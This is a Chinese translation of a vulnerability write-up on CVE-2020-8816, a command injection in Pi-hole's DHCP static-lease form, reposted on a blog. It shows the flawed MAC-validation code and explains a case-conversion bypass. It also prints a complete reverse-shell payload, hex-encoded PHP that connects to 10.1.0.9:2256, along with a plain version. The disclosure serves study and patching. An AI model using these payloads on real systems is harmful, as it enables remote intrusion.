Pi-hole中的远程代码执行漏洞(CVE-2020-8816)

2020-04-09 约 446 字 预计阅读 3 分钟

声明:本文 【Pi-hole中的远程代码执行漏洞(CVE-2020-8816)】 由作者 zoemur**** 于 2020-04-09 09:44:37 首发 先知社区 曾经 浏览数 111 次

感谢 zoemur**** 的辛苦付出!

原文:CVE-2020-8816 – Pi-hole Remote Code Execution

作者:nateksec


漏洞的影响

Pi-hole中存在一个远程代码执行漏洞,经过Web门户验证的用户可以像本地用户一样在服务器中执行任意命令。

Pi-hole介绍

Pi-hole是一个用于内容过滤的DNS服务器,它同时提供DHCP服务,按照官方说明:

Pi-hole®是一个DNS沉洞,可在不安装任何客户端软件的情况下保护您的设备免受有害内容的侵害。

影响版本

Pi-hole网页界面4.3.2及其之前版本。

技术分析

Pi-hole提供了一个基于网页的用户界面,用来配置其内置的DHCP服务器。用户可以通过这个界面设置静态DHCP,将IP地址固定到给定的MAC地址上。

应用程序在处理用户输入的MAC地址时,并没有对地址进行验证,而是直接在shell命令中使用了用户的输入。

如果一个合法的MAC地址输入是以下结构:

aaaaaaaaaaaa

那么在该软件中,攻击者可以将其篡改为以下结构,以执行任意代码:

aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));&&

下面是引发漏洞的代码,为了清晰起见,其中省略了与漏洞利用无关的部分代码,并对重要代码行进行了标注:

<?php
/* Pi-hole: A black hole for Internet advertisements
*  (c) 2017 Pi-hole, LLC (https://pi-hole.net)
*  Network-wide ad blocking via your own hardware.
*
*  This file is copyright under the latest version of the EUPL.
*  Please see LICENSE file for your rights under this license. */

if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
    die("Direct access to this script is forbidden!");
}

//[...]

function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);    // !!!漏洞代码!!!
}


//[...]

    // Read available adlists
    $adlist = readAdlists();
    // Read available DNS server list
    $DNSserverslist = readDNSserversList();

    $error = "";
    $success = "";

    if(isset($_POST["field"]))
    {
        // Handle CSRF
        check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");

        // Process request
        switch ($_POST["field"]) {

//[...]

            case "DHCP":

                if(isset($_POST["addstatic"]))
                {
                    $mac = $_POST["AddMAC"];  // !!!漏洞代码!!!
                    $ip = $_POST["AddIP"];
                    $hostname = $_POST["AddHostname"];

                    if(!validMAC($mac))     // !!!漏洞代码!!!
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);     // !!!漏洞代码!!!

                    if(!validIP($ip) && strlen($ip) > 0)
                    {
                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
                    }

                    if(!validDomain($hostname) && strlen($hostname) > 0)
                    {
                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
                    }

                    if(strlen($hostname) == 0 && strlen($ip) == 0)
                    {
                        $error .= "You can not omit both the IP address and the host name!<br>";
                    }

                    if(strlen($hostname) == 0)
                        $hostname = "nohost";

                    if(strlen($ip) == 0)
                        $ip = "noip";

                    // Test if this lease is already included
                    readStaticLeasesFile();
                    foreach($dhcp_static_leases as $lease) {
                        if($lease["hwaddr"] === $mac)
                        {
                            $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
                            break;
                        }
                        if($ip !== "noip" && $lease["IP"] === $ip)
                        {
                            $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
                            break;
                        }
                        if($lease["host"] === $hostname)
                        {
                            $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
                            break;
                        }
                    }

                    if(!strlen($error))
                    {
                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
                        $success .= "A new static address has been added";
                    }
                    break;
                }

                if(isset($_POST["removestatic"]))
                {
                    $mac = $_POST["removestatic"];
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);

                    if(!strlen($error))
                    {
                        exec("sudo pihole -a removestaticdhcp ".$mac);
                        $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
                    }
                    break;
                }



//[...]

            default:
                // Option not found
                $debug = true;
                break;
        }
    }

//[...]

原始代码在此

漏洞利用

利用这个漏洞最大的困难在于,软件会使用strtoupper函数将用户输入大写,因此最后的注入结果不能包含小写字母。

注入通常会像这样:

aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“10.1.0.9”,2256);exec(“/bin/sh -i <&3 >&3 2>&3);

"php -r"在大写后,会变成"PHP -R",因为Linux的命令是区分大小写的,所以该命令会失败,输出错误信息"sh:1:PHP: not found"。

解决该问题的一个方法就是利用环境变量以及POSIX Shell参数扩展,注意这里使用的是"sh" shell。

如果在MAC地址后添加"$PATH",那么是有可能获取到服务器上的"PATH"变量的。

十分幸运的是,PATH变量中包含了字符串"pihole"和"usr",也就是说包含了字符"p","h"和"r"的小写格式,这些字符就可以构造出我们需要的"php -r"了。

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

我们可以使用POSIX Shell参数扩展的方式,利用上面的PATH变量,定义三个shell参数$P,,$H和$R,分别对应它们的小写字母:

W=${PATH#/???/}

P=${W%%?????:}

X=${PATH#/???/??}

H=${X%%???:}

Z=${PATH#:/??}

R=${Z%%/}

有了这些shell参数,我们的注入就可以写成:

$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));

注意,PHP函数和十六进制字符都不区分大小写,$IFS表示默认的shell分隔符,即空格。

最后,完整的反向shell payload为:

aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));&&

执行结果:

时间线

  • 2020年2月10日,François Renaud-Philippon向Pi-hole LLC提交该漏洞;
  • 2020年2月10日,Pi-hole LLC确认收到报告;
  • 2020年2月18日,Pi-hole LLC修复了该漏洞,并发布了4.3.3版本的网页界面;
  • 2020年2月19日,Pi-hole LLC授权公开此漏洞。

Pi-hole®以及Pi-hole的logo是Pi-hole LLC的注册商标。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now